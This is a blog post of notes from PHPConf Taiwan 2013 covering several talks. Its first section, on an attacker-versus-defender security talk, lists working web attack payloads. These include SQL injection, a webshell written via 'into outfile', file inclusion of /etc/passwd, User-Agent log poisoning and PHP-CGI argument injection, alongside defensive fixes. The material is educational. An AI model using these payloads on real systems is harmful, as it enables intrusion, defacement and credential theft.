X
    Categories: My_Note

PHPConf 2013 筆記整理

PHPConf Taiwan 2013 今年於 10月5日舉辦, 在此作些簡單的整理.

PHPConf 2013 筆記整理

矛盾大對決 - 「能入侵任何網站的駭客 vs. 絕對不會被入侵的網站」

  1. 投影片: OrangeAllen Own
  2. allenown@chroot.org
  3. orange@chroot.org
  4. http://blog.orange.tw/
  5. 我絕對能入侵你的網站 - 我的網站絕對不會被入侵
  6. union select select 1,2,3
  7. select 1.user(),3
  8. select 1.username,password from ...
  9. cmd5.com
  10. into outfile '/var/www/a.php' lines terminated by '<?php eval($_POST["cmd"]); ?>'
  11. cmd="wget ...." 改首頁
  12. mysql - /**/, %09, %0D, %A0, ()
  13. select 'foo' = select 0x666f6f
  14. XSS 劫持 window.onload
  15. xss -> login -> 改首頁
  16. 使用 Prepared Statements 修正 SQL Injection
  17. mysql_real_escape_string() 必須要使用 UTF-8
  18. XSS - 任何輸入、輸出值都不可信任
  19. OWASP Cross Site Scripting Prevention Cheat Sheet
  20. https://www.owasp.org/index.php
  21. /XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
  22. 使用白名單, 而不是黑名單過濾.
  23. $(phpinfo()}
  24. "root ${@eval($_POST[cmd])}";
  25. @eval
  26. @phpinfo
  27. Double Quote Evaluation 設定檔使用 Single Quote 而非 Double Quote
  28. \'
  29. module=login, ./login.php%00
  30. ../../../etc/passwd%00
  31. 上傳圖片, access.log 先寫入, 再去 include access.log
  32. /proc/self/environ
  33. User-Agent: <?php@ phpinfo();?>
  34. /proc/self/environ%00
  35. Local File Inclusion
  36. 指定 module 白名單.
  37. PHP-CGI argument injection
  38. index.php?-s
  39. php-cgi -s index.php
  40. 顯示 source code
  41. index.php?-d+allow_url_include%3dOn ...
  42. 只能更新 php-cgi 版本, 將 .htaccess 把 - 過濾掉.
  43. RewriteCond %{QUERY_STRING} ^(%2d|\-)[^=]+$ [NC]

Phalcon - The Fastest PHP Framework - Rack Lin 阿土伯

  1. 投影片: Phalcon PHP Framework and Phalcon Kernel Introduction
  2. Phalcon
  3. 用 javascript 做收銀機
  4. 最快的, 使用最少記憶體(C 實作), 跨平台, 低耦合Highly Decoupled, Full-stack Framework
  5. Volt template engine
  6. Phalcon Kernel
  7. code encode / decoder extension / 不用擺 ionCube.
  8. 可以快速將 PHP 轉成 so (c)

SiteTag 系統窮人調校法經驗談

用 Gearman 與 CodeIgniter 打造 PHP 排程系統 - Appleboy

5 Easy Ways To Speed Up Your Web Application - JonathanMaron

  1. 投影片: 5 Easy Ways To Speed Up Your Web Application
  2. Want good ranking in Google? Make your web site fast!
  3. Concentrate on lowering time-to-firest-byte (TTFB)
  4. Loseless: Remove unused information from PNG
  5. Loseless: Increase compression level of PNG
  6. CLI tool: OptiPPNG, PNGCrush, PNGOUT...
  7. JPG CLI tool: JPGtran, JPGoptim...
  8. Convert JPGs to Progressive - "Feels faster" to user
  9. Image data is loaded in multiple passes.
  10. 圖片會先模糊, 慢慢清晰呈現
  11. Serve From Multiple Hostnames
  12. Browsers download 2 and 6 resources in parallel.
  13. WARNING: DNS lookups vs. number of sub-hosts.
  14. Make as many resources as possible cacheable.
  15. Browser's cache is alyways faster than downloading.
  16. Distributed or "geo-aware" systems. - For example, Amazon Web Services Route 53.
  17. LAZY developer do? 1. Use a Content Delivery Network. 2. Optimize his or her images.
  18. Book: High Performance Web Sites, Even Faster Web Sites, Web Performance Daybook,Volume 2

實戰 AssetToolkit - c9s

  1. Require.js or other AMD solutions
  2. Application with bundles
  3. requirejs 會需要修改很多 bundle 路徑
  4. Expose asset directory from bundles by symlink or auto-copy
  5. Support development / production mode
  6. https://github.com/c9s/php-AssetToolkit
  7. composer 安裝
  8. assetkit init baseDir public/assetsbaseUrl "/assets"
  9. .assetkit.php 會存在 applicatoin root directory.
  10. assetkit add path/to/bootstrap
  11. assetkit add path/to/assets/jquery
  12. 多個版本也可以丟
  13. assetkit install
  14. assetkit install --link # symbol link (faster for development mode)
  15. $loader = new AssetToolkit\AssetLoader($config);
  16. $compiler = new .....
  17. assets/page-id/hash.min.js
  18. assetkit target # 哪些 target 用到哪些 assetkit
  19. CssImportFilter-> Css RewirteFilter. (CSS Import 整進一行後, 在經過 rewrite 修正路徑)
  20. c9s: PHP - AssetToolKit

PHP 也是可以很 event - Ricky

  1. 投影片: PHP 也是可以很 event
  2. Build a Realtime Web
  3. Realtime web 必須具備主動發送訊息的機制
  4. Long Polling - IE6 也可以的方案
  5. Chunked Transfer Encoding - HTTP 1.1 新增
  6. 將資料拆成一個一個區塊送回去, Header, Data * n , End
  7. Header: Transfer-Encoding: chunked
  8. Long Polling 只能單向溝通(Server -> Client), 還有 Cross Domain 的問題.
  9. WebSocket: 持久連線, 雙向溝通, 允許 Binary Data, 支援 Cross Domain.
  10. C10K Problem - Server 同時間大量連線
  11. 連線到 10K 時, 設計不良的架構就會出問題.
  12. 硬體不再是效能的瓶頸點 (CPU / RAM 加倍也沒用)
  13. Blocking I/O
  14. 每個 Thread / Process 只服務一個連線, 透過 Blocking I/O 處理連線. ex: Apache with
  15. Prefork / Worker MPM.
  16. Blocking I/O: 充分運用 CPU 資源
  17. Asynchronous I/O
  18. 一個 Thread / Process 處理多個連線, 使用事件驅動方式處理連線. ex: Nginx,
  19. Memcached, Node.js
  20. Asynchronous I/O: 節省記憶體, 反應速度快, 架構簡單.
  21. 程式邏輯需注意 Blocked API, 會導致其他連線也被 Block.
  22. 反應速度要快, 否則無法應付瞬間大量連線
  23. 使用資源要省, 否則大量連線會吃光系統資源.
  24. select(), poll() 效能會隨著數量遞減, 時間複雜度 O(n)
  25. socket_select(): 1024 limit on Linux (FDSET_SIZE)
  26. 新一代事件通知事件: kqueue: *BSD / epoll: Linux / /dev/pool: Solaris. 時間複雜度為
  27. O(1) - 缺點: API 不相容, 使用 libevent 來解決.
  28. pecl Libevent (難用), 可用 pecl event
  29. pecl event: OOP, 支援 libevent2, HTTP DNS OpenSSL 支援
  30. Simple Web Server
  31. event loop: 所有事件的起點
  32. callback
  33. setDefaultCallback(function($request) {});
  34. setCallback('hello', ....)
  35. http://www.php.net/manual/en/book.event.php
  36. buffer: 所有輸出輸入都在 Buffer 裡
  37. buffer event
  38. setCallbacks(onRead, onWrite, onEvent, $arg);
  39. onRead: 當收到資料時
  40. onWrite: 當資料已經送出, Buffer Empty
  41. onEvent: 當連線狀態改變, 例如使用者斷線.
  42. timeout event
  43. 只會跑一次.
  44. Socket.IO - the cross-browser WebSocket for realtime apps
  45. phpsocket.io - Socket.IO Server Side
  46. https://github.com/RickySu/phpsocket.io
  47. phpsocket.io
  48. 支援 wesocket, JSONP Polling, XHRPolling, 和 Socket.IO 相似用法
  49. PHP 5.4 以上, ext-event (1.8 以上)
  50. http://pecl.php.net/package/event
  51. JS 直接使用 socket.io.

其他沒聽到的投影片:

Lighting Talk

c9s - phpbrew

  1. c9s/phpbrew
  2. Multiple PHP Version
  3. phpbrew install php-5.5.4 +dbs + default
  4. phpbrew use php-5.5.4
  5. phpbrew list
  6. phpbrew ext install yaml
  7. phpbrew ext enable yaml
  8. phpbrew ext disable yaml

林熙哲 - 當 Nexmo 遇上 PHP

  1. 影片: PHP Conf 2013 Lightning talk - 當 Nexmo 遇上 PHP 1
  2. 影片: PHP Conf 2013 Lightning talk - 當 Nexmo 遇上 PHP 2
  3. 聽風
  4. 發送語音訊息
  5. 把文字轉成語音
  6. 簡訊 0.4元/封, 語音 0.7元/分
  7. 三竹 0.88/封
  8. 使用簡單 RESTful API
  9. 簡訊通知系統
  10. 會員手機驗證
  11. 匿名手機號碼
  12. https://www.nexmo.com 註冊
  13. Nexmo-PHP-Library
  14. 國碼886, ex:886933123456
  15. 批次發送, 最多十位收件者, 逗號間隔k

吳怡穎 - 寫好前端,不要搞瘋你的 PHP 後端工程師

  1. 投影片: 寫好前端,不要搞瘋你的 PHP 後端工程師
  2. 影片: PHP Conf 2013 Lightning talk - 寫好前端,不要搞瘋你的 PHP 後端工程師
  3. winwu.github.io
  4. 製造模組化的元件
  5. 由資料來決定樣式的結果

Allen Own - 我的密碼沒加密,你的呢?

  1. 影片: PHP Conf 2013 Lightning talk - 我的密碼沒加密,你的呢? 1
  2. 影片: PHP Conf 2013 Lightning talk - 我的密碼沒加密,你的呢? 2
  3. allenown@devco.re
  4. 你的密碼每個網站都不一樣嗎
  5. http://plainpass.com
  6. https://www.facebook.com/PlainPass
  7. 可以找回密碼, 代表密碼沒加密.
  8. Salt + hash

閉幕影片

相關網頁

Tsung: 對新奇的事物都很有興趣, 喜歡簡單的東西, 過簡單的生活.
Related Post